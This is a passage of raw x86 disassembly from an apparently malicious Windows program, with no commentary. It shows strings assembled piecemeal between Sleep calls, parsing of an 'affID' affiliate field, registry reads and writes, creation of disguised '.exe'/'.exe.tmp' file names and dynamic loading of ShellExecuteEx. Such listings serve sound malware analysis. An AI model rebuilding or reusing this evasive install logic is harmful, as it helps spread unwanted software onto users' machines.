ptr [ebp-4], 4 call sub_406B4C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_411518 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_411512 mov ecx, [ebp+8] lea eax, [ebp-14h] push eax call sub_411506 mov [ebp-1Ch], ebx lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_411512 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_4068AF and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_411512 mov eax, [ebp+8] mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_405693 endp ; =============== S U B R O U T I N E ======================================= sub_4057AB proc near ; CODE XREF: sub_404605+2E2p mov eax, offset loc_412090 call sub_41163A ; _EH_prolog sub esp, 34h push esi and dword ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_41151E push offset aW ; "W" lea ecx, [ebp-10h] mov byte ptr [ebp-4], 1 call sub_41150C mov esi, dword_4130E0 push 1Eh call esi ; Sleep push offset aR ; "R" lea ecx, [ebp-10h] call sub_411548 push 1Eh call esi ; Sleep push offset dword_417130 lea ecx, [ebp-10h] call sub_411548 push 1Ch call esi ; Sleep push offset aI ; "i" lea ecx, [ebp-10h] call sub_411548 mov eax, [ebp+8] mov eax, [eax-8] cmp eax, 3 jl loc_405904 push 80000000h push 1 push ecx mov ecx, esp mov [ebp-1Ch], esp push offset byte_419C40 call sub_4114FA push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-18h], esp push eax mov byte ptr [ebp-4], 2 call sub_411506 lea ecx, [ebp-40h] mov byte ptr [ebp-4], 1 call sub_40671B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_41151E lea eax, [ebp-18h] lea ecx, [ebp-40h] push eax mov byte ptr [ebp-4], 4 call sub_406B4C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_411518 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_411512 lea eax, [ebp-14h] push offset asc_4173DC ; "," push eax lea eax, [ebp-1Ch] push eax call sub_41152A lea ecx, [ebp+8] mov byte ptr [ebp-4], 6 push ecx push eax lea eax, [ebp-18h] push eax call sub_411524 push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 7 call sub_411518 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 6 call sub_411512 lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 4 call sub_411512 push ecx lea eax, [ebp-14h] mov ecx, esp mov [ebp-20h], esp push eax call sub_411506 lea ecx, [ebp-40h] call sub_406BA8 lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_411512 lea ecx, [ebp-40h] mov byte ptr [ebp-4], 1 call sub_4068AF loc_405904: ; CODE XREF: sub_4057AB+6Dj and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_411512 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_411512 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn 4 sub_4057AB endp ; =============== S U B R O U T I N E ======================================= sub_40592B proc near ; CODE XREF: sub_405150+178p mov eax, offset loc_4120CC call sub_41163A ; _EH_prolog sub esp, 30h push esi and dword ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_41151E push offset aW ; "W" lea ecx, [ebp-10h] mov byte ptr [ebp-4], 1 call sub_41150C mov esi, dword_4130E0 push 1Eh call esi ; Sleep push offset aR ; "R" lea ecx, [ebp-10h] call sub_411548 push 1Eh call esi ; Sleep push offset dword_417130 lea ecx, [ebp-10h] call sub_411548 push 1Ch call esi ; Sleep push offset aCmd ; "cmd" lea ecx, [ebp-10h] call sub_411548 push 80000000h push 1 push ecx mov esi, offset a0 ; "0" mov ecx, esp mov [ebp-18h], esp push esi call sub_4114FA push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-1Ch], esp push eax mov byte ptr [ebp-4], 2 call sub_411506 lea ecx, [ebp-3Ch] mov byte ptr [ebp-4], 1 call sub_40671B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_41151E lea eax, [ebp-18h] lea ecx, [ebp-3Ch] push eax mov byte ptr [ebp-4], 4 call sub_406B4C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_411518 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_411512 push esi push dword ptr [ebp-14h] call dword_4131EC ; _mbscmp pop ecx test eax, eax pop ecx jnz short loc_405A25 push ecx lea eax, [ebp+8] mov ecx, esp mov [ebp-1Ch], esp push eax call sub_411506 lea ecx, [ebp-3Ch] call sub_406BA8 loc_405A25: ; CODE XREF: sub_40592B+E1j lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_411512 lea ecx, [ebp-3Ch] mov byte ptr [ebp-4], 1 call sub_4068AF and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_411512 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_411512 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn 4 sub_40592B endp ; =============== S U B R O U T I N E ======================================= sub_405A64 proc near ; CODE XREF: sub_408D9F+70p mov eax, offset loc_412117 call sub_41163A ; _EH_prolog sub esp, 34h and dword ptr [ebp-1Ch], 0 push ebx push esi lea ecx, [ebp-10h] call sub_41151E push 1 lea ecx, [ebp-10h] pop ebx push offset aW ; "W" mov [ebp-4], ebx call sub_41150C mov esi, dword_4130E0 push 1Eh call esi ; Sleep push offset aR ; "R" lea ecx, [ebp-10h] call sub_411548 push 1Eh call esi ; Sleep push offset dword_417130 lea ecx, [ebp-10h] call sub_411548 push 1Ch call esi ; Sleep push offset aC ; "c" lea ecx, [ebp-10h] call sub_411548 push 1Ch call esi ; Sleep push offset aMd ; "md" lea ecx, [ebp-10h] call sub_411548 push 1Ch call esi ; Sleep push 80000000h push ebx push ecx mov ecx, esp mov [ebp-18h], esp push offset byte_419C40 call sub_4114FA push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 2 call sub_411506 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_40671B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_41151E lea eax, [ebp-18h] lea ecx, [ebp-40h] push eax mov byte ptr [ebp-4], 4 call sub_406B4C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_411518 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_411512 mov ecx, [ebp+8] lea eax, [ebp-14h] push eax call sub_411506 mov [ebp-1Ch], ebx lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_411512 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_4068AF and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_411512 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_405A64 endp ; =============== S U B R O U T I N E ======================================= sub_405B91 proc near ; CODE XREF: sub_405E1F+5Cp mov eax, offset loc_41213C call sub_41163A ; _EH_prolog mov eax, 8020h call sub_4115D0 push ebx push esi push edi mov [ebp-18h], ecx xor ebx, ebx lea ecx, [ebp-1Ch] mov [ebp-4], ebx call sub_41151E push dword ptr [ebp+8] mov esi, dword_4130CC lea eax, [ebp-602Ch] mov byte ptr [ebp-4], 1 push eax call esi ; lstrcpyA lea eax, [ebp-602Ch] push eax call dword_4130BC ; lstrlenA mov ecx, [ebp-18h] push eax lea eax, [ebp-602Ch] push eax lea eax, [ebp-10h] push eax call sub_4030F7 push eax lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 2 call sub_411518 lea ecx, [ebp-10h] mov byte ptr [ebp-4], 1 call sub_411512 push dword ptr [ebp-1Ch] lea eax, [ebp-402Ch] push eax call dword_41329C ; wsprintfA cmp byte ptr [ebp-402Ch], 23h pop ecx pop ecx jnz loc_405DF5 push ebx lea eax, [ebp-402Ch] push 1 push eax lea eax, [ebp-10h] lea ecx, [ebp-14h] push eax call sub_401ACF push dword ptr [eax] lea eax, [ebp-402Ch] push eax call sub_411628 ; strcpy pop ecx pop ecx lea ecx, [ebp-10h] call sub_411512 lea eax, [ebp-402Ch] push 23h push eax lea ecx, [ebp-14h] call sub_401A20 mov edi, eax cmp edi, ebx mov [ebp-10h], edi jz loc_405DF5 jmp short loc_405C78 ; --------------------------------------------------------------------------- loc_405C75: ; CODE XREF: sub_405B91+25Ej mov edi, [ebp-10h] loc_405C78: ; CODE XREF: sub_405B91+E2j cmp edi, 0FFFFFFFFh jnz short loc_405C8F lea eax, [ebp-402Ch] push eax lea eax, [ebp-202Ch] push eax call esi ; lstrcpyA jmp short loc_405CB7 ; --------------------------------------------------------------------------- loc_405C8F: ; CODE XREF: sub_405B91+EAj push edi lea eax, [ebp-402Ch] push ebx push eax lea eax, [ebp-28h] lea ecx, [ebp-14h] push eax call sub_401ACF push dword ptr [eax] lea eax, [ebp-202Ch] push eax call esi ; lstrcpyA lea ecx, [ebp-28h] call sub_411512 loc_405CB7: ; CODE XREF: sub_405B91+FCj inc edi push ebx lea eax, [ebp-402Ch] push edi push eax lea eax, [ebp-20h] push eax lea ecx, [ebp-14h] call sub_401ACF push dword ptr [eax] lea eax, [ebp-402Ch] push eax call esi ; lstrcpyA lea ecx, [ebp-20h] call sub_411512 lea eax, [ebp-202Ch] push 3Ah push eax lea ecx, [ebp-14h] call sub_401A20 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_405D4B push edi lea eax, [ebp-202Ch] push ebx push eax lea eax, [ebp-24h] lea ecx, [ebp-14h] push eax call sub_401ACF push dword ptr [eax] lea eax, [ebp-802Ch] push eax call esi ; lstrcpyA lea ecx, [ebp-24h] call sub_411512 inc edi push ebx lea eax, [ebp-202Ch] push edi push eax lea eax, [ebp-2Ch] push eax lea ecx, [ebp-14h] call sub_401ACF push dword ptr [eax] lea eax, [ebp-202Ch] push eax call esi ; lstrcpyA lea ecx, [ebp-2Ch] call sub_411512 jmp short loc_405D70 ; --------------------------------------------------------------------------- loc_405D4B: ; CODE XREF: sub_405B91+165j lea eax, [ebp-202Ch] push eax lea eax, [ebp-802Ch] push eax call esi ; lstrcpyA push 2000h lea eax, [ebp-202Ch] push ebx push eax call sub_411622 ; memset add esp, 0Ch loc_405D70: ; CODE XREF: sub_405B91+1B8j push 5 lea eax, [ebp-802Ch] push offset aAffid ; "affID" push eax call dword_4131AC ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_405DD3 lea eax, [ebp-202Ch] push eax call sub_41162E ; strlen cmp eax, 1 pop ecx jle short loc_405DB8 push 89h mov [ebp+eax-202Dh], bl call dword_4130E0 ; Sleep lea eax, [ebp-202Ch] push eax jmp short loc_405DC8 ; --------------------------------------------------------------------------- loc_405DB8: ; CODE XREF: sub_405B91+20Aj push 0BCh call dword_4130E0 ; Sleep push offset byte_419C40 loc_405DC8: ; CODE XREF: sub_405B91+225j mov eax, [ebp-18h] lea ecx, [eax+4] call sub_41150C loc_405DD3: ; CODE XREF: sub_405B91+1F8j cmp dword ptr [ebp-10h], 0FFFFFFFFh jz short loc_405DF5 lea eax, [ebp-402Ch] push 23h push eax lea ecx, [ebp-14h] call sub_401A20 cmp eax, ebx mov [ebp-10h], eax jnz loc_405C75 loc_405DF5: ; CODE XREF: sub_405B91+90j ; sub_405B91+DCj ... lea ecx, [ebp-1Ch] mov [ebp-4], bl call sub_411512 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_411512 mov ecx, [ebp-0Ch] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx leave retn 4 sub_405B91 endp ; =============== S U B R O U T I N E ======================================= sub_405E1F proc near ; CODE XREF: sub_4091F5+59p mov eax, offset loc_4121D0 call sub_41163A ; _EH_prolog sub esp, 68h push ebx push esi push edi mov edi, ecx mov esi, dword_4130E0 and dword ptr [ebp-4], 0 push 0CE4h call esi ; Sleep lea ecx, [ebp-14h] call sub_41151E lea ecx, [ebp-18h] mov byte ptr [ebp-4], 1 call sub_41151E lea ecx, [ebp-34h] mov byte ptr [ebp-4], 2 call sub_41151E push 1Eh mov byte ptr [ebp-4], 3 call esi ; Sleep push ecx lea eax, [ebp+8] mov ecx, esp mov [ebp-30h], esp push eax call sub_411506 mov ecx, edi call sub_405B91 lea ebx, [edi+1Ch] push offset aM ; "\\m" lea eax, [ebp-2Ch] push ebx push eax call sub_41152A push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 4 call sub_411518 lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 3 call sub_411512 push 1Eh call esi ; Sleep push offset aRo ; "ro" lea ecx, [ebp-14h] call sub_411548 push 1Eh call esi ; Sleep push offset aFinu ; "finu" lea ecx, [ebp-14h] call sub_411548 push 1Ch call esi ; Sleep lea eax, [edi+4] push offset a_ex ; ".ex" push eax lea eax, [ebp-2Ch] push eax call sub_41152A push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 5 call sub_411554 lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 3 call sub_411512 push offset aE ; "e" lea ecx, [ebp-14h] call sub_411548 push ebx lea ecx, [ebp-18h] call sub_411518 push offset dword_417130 lea ecx, [ebp-18h] call sub_411548 push 1Dh call esi ; Sleep push offset aMr ; "mr" lea ecx, [ebp-18h] call sub_411548 push 1Eh call esi ; Sleep push offset aOf ; "of" lea ecx, [ebp-18h] call sub_411548 lea eax, [edi+4] push eax lea eax, [ebp-28h] push offset aInu ; "inu" push eax call sub_41154E push offset a_exe_tmp ; ".exe.tmp" push eax lea eax, [ebp-2Ch] mov byte ptr [ebp-4], 6 push eax call sub_41152A push eax lea ecx, [ebp-18h] mov byte ptr [ebp-4], 7 call sub_411554 lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 6 call sub_411512 lea ecx, [ebp-28h] mov byte ptr [ebp-4], 3 call sub_411512 push 1Ch call esi ; Sleep push ecx lea eax, [ebp+8] mov ecx, esp mov [ebp-30h], esp push eax call sub_411506 push ecx lea eax, [ebp-14h] mov ecx, esp mov [ebp-2Ch], esp push eax mov byte ptr [ebp-4], 8 call sub_411506 mov ecx, edi mov byte ptr [ebp-4], 3 call sub_405150 push dword ptr [edi+20h] lea ebx, [edi+20h] push dword ptr [ebp-14h] call dword_4131EC ; _mbscmp pop ecx test eax, eax pop ecx jz short loc_406026 push dword ptr [ebp-18h] call sub_4021DB test eax, eax pop ecx jz short loc_405FEA push 1 push dword ptr [ebp-18h] call sub_401C92 pop ecx pop ecx loc_405FEA: ; CODE XREF: sub_405E1F+1BDj push dword ptr [ebp-14h] call sub_4021DB test eax, eax pop ecx jz short loc_406007 push 1 push dword ptr [ebp-18h] push dword ptr [ebp-14h] call sub_401D8A add esp, 0Ch loc_406007: ; CODE XREF: sub_405E1F+1D6j mov eax, [ebx] push 1 push dword ptr [ebp-14h] push eax call sub_401D8A add esp, 0Ch test eax, eax jz short loc_406026 lea eax, [ebp-14h] mov ecx, ebx push eax call sub_411518 loc_406026: ; CODE XREF: sub_405E1F+1B0j ; sub_405E1F+1FAj push 80000002h push 1 push ecx mov ecx, esp mov [ebp-30h], esp push offset aDefaultvalue ; "defaultvalue" call sub_4114FA push ecx mov ecx, edi mov eax, esp mov [ebp-2Ch], esp push 72h push offset a11866787a5f240 ; "11866787A5F240675EE6610530A652BC94C74E7"... push eax mov byte ptr [ebp-4], 9 call sub_4030F7 lea ecx, [ebp-74h] mov byte ptr [ebp-4], 3 call sub_40671B lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 0Ah call sub_41151E push offset aWr ; "WR" lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 0Bh call sub_41150C push 1Ch call esi ; Sleep push offset aVersion_1 ; "\\version" lea ecx, [ebp-1Ch] call sub_411548 push 80000000h push 1 push ecx mov ecx, esp mov [ebp-30h], esp push edi call sub_411506 push ecx lea eax, [ebp-1Ch] mov ecx, esp mov [ebp-2Ch], esp push eax mov byte ptr [ebp-4], 0Ch call sub_411506 lea ecx, [ebp-54h] mov byte ptr [ebp-4], 0Bh call sub_40671B lea eax, [ebp-24h] lea ecx, [ebp-74h] push eax mov byte ptr [ebp-4], 0Dh call sub_406B4C lea eax, [ebp-24h] lea ecx, [ebp-2Ch] push eax mov byte ptr [ebp-4], 0Eh call sub_411506 push eax lea ecx, [edi+24h] mov byte ptr [ebp-4], 0Fh call sub_411518 lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 0Eh call sub_411512 lea ecx, [ebp-24h] mov byte ptr [ebp-4], 0Dh call sub_411512 push dword ptr [edi] mov ebx, dword_4131A8 call ebx ; atoi pop ecx mov [ebp-2Ch], eax mov dword ptr [ebp-4], 0Dh push 26h call esi ; Sleep and dword ptr [ebp-20h], 0 lea eax, [edi+14h] mov [ebp-24h], eax loc_40612A: ; CODE XREF: sub_405E1F+358j lea eax, [ebp-28h] lea ecx, [ebp-54h] push eax call sub_406B4C mov ecx, [ebp-24h] lea eax, [ebp-28h] push eax mov byte ptr [ebp-4], 12h call sub_411518 lea ecx, [ebp-28h] mov byte ptr [ebp-4], 0Dh call sub_411512 mov eax, [ebp-24h] push dword ptr [eax] call ebx ; atoi cmp eax, [ebp-2Ch] pop ecx mov [ebp-30h], eax mov dword ptr [ebp-4], 0Dh jge short loc_406179 push 13A5h call esi ; Sleep inc dword ptr [ebp-20h] cmp dword ptr [ebp-20h], 0Ah jl short loc_40612A loc_406179: ; CODE XREF: sub_405E1F+348j mov eax, [ebp-2Ch] cmp [ebp-30h], eax jle short loc_406187 mov byte ptr [edi+18h], 1 jmp short loc_4061A1 ; --------------------------------------------------------------------------- loc_406187: ; CODE XREF: sub_405E1F+360j and byte ptr [edi+18h], 0 push ecx mov ecx, esp mov [ebp-30h], esp push dword ptr [ebp-24h] call sub_411506 lea ecx, [ebp-54h] call sub_406BA8 loc_4061A1: ; CODE XREF: sub_405E1F+366j lea ecx, [ebp-54h] mov byte ptr [ebp-4], 0Bh call sub_4068AF lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 0Ah call sub_411512 lea ecx, [ebp-74h] mov byte ptr [ebp-4], 3 call sub_4068AF lea ecx, [ebp-34h] mov byte ptr [ebp-4], 2 call sub_411512 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 1 call sub_411512 and byte ptr [ebp-4], 0 lea ecx, [ebp-14h] call sub_411512 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_411512 mov ecx, [ebp-0Ch] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx leave retn 4 sub_405E1F endp ; =============== S U B R O U T I N E ======================================= sub_406208 proc near ; CODE XREF: sub_402C48+264p mov eax, offset loc_4121DC call sub_41163A ; _EH_prolog sub esp, 0Ch push ebx push esi push edi mov ebx, ecx mov [ebp-10h], esp push offset aShell32_dll ; "shell32.dll" call dword_4130DC ; LoadLibraryA test eax, eax mov [ebp-14h], eax jz short loc_40627A push offset aShellexecuteex ; "ShellExecuteEx" push eax call dword_413060 ; GetProcAddress mov edi, eax test edi, edi jz short loc_406271 mov esi, dword_4130E0 push 22h call esi ; Sleep push ecx mov ecx, esp mov [ebp-18h], esp push offset aSei ; "sei \n" call sub_4114FA mov ecx, ebx call sub_404B34 push 26h call esi ; Sleep and dword ptr [ebp-4], 0 mov eax, eax push dword ptr [ebp+8] call edi ; lstrcpyA loc_406271: ; CODE XREF: sub_406208+37j ; DATA XREF: sub_40628Do push dword ptr [ebp-14h] call dword_413054 ; FreeLibrary loc_40627A: ; CODE XREF: sub_406208+25j mov ecx, [ebp-0Ch] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx leave retn 4 sub_406208 endp ; =============== S U B R O U T I N E ======================================= sub_40628D proc near ; DATA XREF: HSho:004156CCo mov eax, offset loc_406271 retn sub_40628D endp ; =============== S U B R O U T I N E ======================================= sub_406293 proc near ; CODE XREF: sub_403488+69p ; sub_403488+BD4p ... mov eax, [ecx] test eax, eax jz short locret_40629F mov ecx, [eax] push eax call dword ptr [ecx+8] locret_40629F: ; CODE XREF: sub_406293+4j retn sub_406293 endp ; =============== S U B R O U T I N E ======================================= sub_4062A0 proc near ; CODE XREF: sub_403488+61p ; sub_403488+BC9p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push edi mov edi, [esi] cmp edi, eax jz short loc_4062C4 test eax, eax mov [esi], eax jz short loc_4062BA mov ecx, [eax] push eax call dword ptr [ecx+4] loc_4062BA: ; CODE XREF: sub_4062A0+12j test edi, edi jz short loc_4062C4 mov eax, [edi] push edi call dword ptr [eax+8] loc_4062C4: ; CODE XREF: sub_4062A0+Cj ; sub_4062A0+1Cj mov eax, esi pop edi pop esi retn 4 sub_4062A0 endp ; =============== S U B R O U T I N E ======================================= sub_4062CB proc near ; CODE XREF: sub_403488+77p ; sub_403488+47Ap ... arg_0 = dword ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_4062DF push 80004003h call sub_411822 loc_4062DF: ; CODE XREF: sub_4062CB+8j xor eax, eax cmp [esi], eax pop esi setz al retn 4 sub_4062CB endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_4121F9 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp-10h], ecx mov ecx, [ebp-10h] call sub_407FC0 mov dword ptr [ebp-4], 0 mov eax, [ebp-10h] mov dword ptr [eax+10h], 0 mov ecx, [ebp-10h] mov dword ptr [ecx+14h], 0 push offset dword_419C48 mov ecx, [ebp-10h] add ecx, 8 call sub_41150C mov edx, [ebp-10h] mov dword ptr [edx], 80000001h mov eax, [ebp-10h] mov dword ptr [eax+18h], 0 mov ecx, [ebp-10h] mov dword ptr [ecx+1Ch], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406374 proc near ; CODE XREF: sub_403488+3B6p ; sub_404B40+174p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_406374 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov [ebp+var_18], ecx mov [ebp+var_4], 0 mov ecx, [ebp+var_18] call sub_407FC0 mov byte ptr [ebp+var_4], 1 mov eax, [ebp+var_18] mov dword ptr [eax+10h], 0 mov ecx, [ebp+var_18] mov edx, [ebp+arg_4] mov [ecx+14h], edx mov eax, [ebp+var_18] mov ecx, [ebp+arg_8] mov [eax+1Ch], ecx mov edx, [ebp+var_18] mov eax, [ebp+arg_C] mov [edx], eax mov ecx, [ebp+var_18] mov dword ptr [ecx+18h], 0 push offset asc_4174C8 ; "\\" lea ecx, [ebp+arg_0] call sub_411566 push 5Ch lea ecx, [ebp+arg_0] call sub_411536 push eax lea edx, [ebp+var_10] push edx lea ecx, [ebp+arg_0] call sub_411530 mov [ebp+var_1C], eax mov eax, [ebp+var_1C] mov [ebp+var_20], eax mov byte ptr [ebp+var_4], 2 mov ecx, [ebp+var_20] push ecx mov ecx, [ebp+var_18] add ecx, 0Ch call sub_411518 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_10] call sub_411512 push offset asc_4174CC ; "\\" mov ecx, [ebp+var_18] add ecx, 0Ch call sub_411560 lea ecx, [ebp+arg_0] call sub_408070 mov esi, eax push 5Ch lea ecx, [ebp+arg_0] call sub_411536 sub esi, eax push esi lea edx, [ebp+var_14] push edx lea ecx, [ebp+arg_0] call sub_41155A mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_28], eax mov byte ptr [ebp+var_4], 3 mov ecx, [ebp+var_28] push ecx mov ecx, [ebp+var_18] add ecx, 8 call sub_411518 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_14] call sub_411512 push offset asc_4174D0 ; "\\" mov ecx, [ebp+var_18] add ecx, 8 call sub_411566 push offset asc_4174D4 ; "\\" mov ecx, [ebp+var_18] add ecx, 8 call sub_411560 mov ecx, [ebp+var_18] call sub_4064D9 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_0] call sub_411512 mov eax, [ebp+var_18] mov ecx, [ebp+var_C] mov large fs:0, ecx pop esi mov esp, ebp pop ebp retn 10h sub_406374 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064C6 proc near ; CODE XREF: sub_403488+3D7p ; sub_404B40+4D8p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_408020 mov esp, ebp pop ebp retn sub_4064C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064D9 proc near ; CODE XREF: sub_406374+12Ap ; sub_406606+24p var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov eax, [ebp+var_C] add eax, 4 push eax push 20019h push 0 mov ecx, [ebp+var_C] add ecx, 0Ch call sub_4026A0 push eax mov ecx, [ebp+var_C] mov edx, [ecx] push edx call dword_413004 ; RegOpenKeyExA test eax, eax jnz short loc_406575 mov [ebp+var_4], 4 lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_C] add ecx, 10h push ecx lea edx, [ebp+var_8] push edx push 0 mov ecx, [ebp+var_C] add ecx, 8 call sub_4026A0 push eax mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_413010 ; RegQueryValueExA test eax, eax jnz short loc_406560 mov edx, [ebp+var_C] mov dword ptr [edx+18h], 1 mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_413000 ; RegCloseKey mov edx, [ebp+var_C] mov eax, [edx+10h] jmp short loc_40657B ; --------------------------------------------------------------------------- loc_406560: ; CODE XREF: sub_4064D9+66j mov eax, [ebp+var_C] mov ecx, [eax+4] push ecx call dword_413000 ; RegCloseKey mov edx, [ebp+var_C] mov eax, [edx+14h] jmp short loc_40657B ; --------------------------------------------------------------------------- loc_406575: ; CODE XREF: sub_4064D9+31j mov eax, [ebp+var_C] mov eax, [eax+14h] loc_40657B: ; CODE XREF: sub_4064D9+85j ; sub_4064D9+9Aj mov esp, ebp pop ebp retn sub_4064D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40657F proc near ; CODE XREF: sub_406633+2Cp var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx lea eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] add ecx, 4 push ecx push 0 push 20006h push 0 push offset dword_419C4C push 0 mov ecx, [ebp+var_8] add ecx, 0Ch call sub_4026A0 push eax mov edx, [ebp+var_8] mov eax, [edx] push eax call dword_41300C ; RegCreateKeyExA test eax, eax jz short loc_4065C1 jmp short loc_406602 ; --------------------------------------------------------------------------- loc_4065C1: ; CODE XREF: sub_40657F+3Ej push 4 mov ecx, [ebp+var_8] add ecx, 10h push ecx push 4 push 0 mov ecx, [ebp+var_8] add ecx, 8 call sub_4026A0 push eax mov edx, [ebp+var_8] mov eax, [edx+4] push eax call dword_413008 ; RegSetValueExA test eax, eax jnz short loc_4065F5 mov ecx, [ebp+var_8] mov dword ptr [ecx+18h], 1 loc_4065F5: ; CODE XREF: sub_40657F+6Aj mov edx, [ebp+var_8] mov eax, [edx+4] push eax call dword_413000 ; RegCloseKey loc_406602: ; CODE XREF: sub_40657F+40j mov esp, ebp pop ebp retn sub_40657F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406606 proc near ; CODE XREF: sub_404B40+183p ; sub_40543F+98p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 0 jz short loc_406627 mov ecx, [ebp+var_4] cmp dword ptr [ecx+1Ch], 0 jnz short loc_406627 mov edx, [ebp+var_4] mov eax, [edx+10h] jmp short loc_40662F ; --------------------------------------------------------------------------- loc_406627: ; CODE XREF: sub_406606+Ej ; sub_406606+17j mov ecx, [ebp+var_4] call sub_4064D9 loc_40662F: ; CODE XREF: sub_406606+1Fj mov esp, ebp pop ebp retn sub_406606 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406633 proc near ; CODE XREF: sub_403488+3C8p ; sub_40543F+D5p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] cmp ecx, [eax+10h] jnz short loc_406653 mov edx, [ebp+var_4] cmp dword ptr [edx+1Ch], 0 jnz short loc_406653 mov eax, [ebp+var_4] jmp short loc_406667 ; --------------------------------------------------------------------------- loc_406653: ; CODE XREF: sub_406633+10j ; sub_406633+19j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax+10h], ecx mov ecx, [ebp+var_4] call sub_40657F mov eax, [ebp+var_4] loc_406667: ; CODE XREF: sub_406633+1Ej mov esp, ebp pop ebp retn 4 sub_406633 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 